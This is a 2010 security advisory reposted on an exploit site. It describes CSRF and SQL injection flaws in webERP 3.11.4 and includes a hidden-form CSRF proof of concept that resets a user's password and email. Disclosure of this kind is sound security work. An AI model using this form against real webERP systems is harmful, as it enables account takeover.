webERP v3.11.4 Multiple Vulnerabilities
Posted on 30 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>webERP v3.11.4 Multiple Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================= webERP v3.11.4 Multiple Vulnerabilities ======================================= # Title: webERP Multiple Vulnerabilities # Author: ADEO Security # Published: 30/06/2010 # Version: 3.11.4 (Possible all versions) # Vendor: http://www.weberp.org # Description: "webERP is a complete web based accounting/ERP system that requires only a web-browser and pdf reader to use. It has a wide range of features suitable for many businesses particularly distributed businesses in wholesale and distribution. It is developed as an open-source application and is available as a free download to use. The feature set is continually expanding as new businesses and developers adopt it.There are on average 5,000 downloads per month." # Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs - Mail: security[AT]adeo.com.tr - Web: http://security.adeo.com.tr # Vulnerabilities: 1) CSRF: Attacker can add new administrator to the system. All files have this issue. See #PoC section. 2) SQL Injection: Application offer disable the magic_quotes_gpc. Attacker can inject sql codes if exploit the CSRF vulnerability. HTTP Requests must filtered. # PoC (CSRF): <html> <body> <form method="POST" action="http://server/UserSettings.php?"> <input type="hidden" name="RealName" VALUE="ADEO-Security"> <input type='hidden' name='DisplayRecordsMax' VALUE="10"> <input type='hidden' name='Language' VALUE='en_US'> <input type='hidden' name='Theme' VALUE='green'> <input type='hidden' name='pass' value='adeopass'> <input type='hidden' name='passcheck' value='adeopass'> <input type='hidden' name='email' size=40 value='hacked@weberp.org'> <input type='hidden' name='Modify' value="Modify""></div> </form> </body> </html> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-30]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>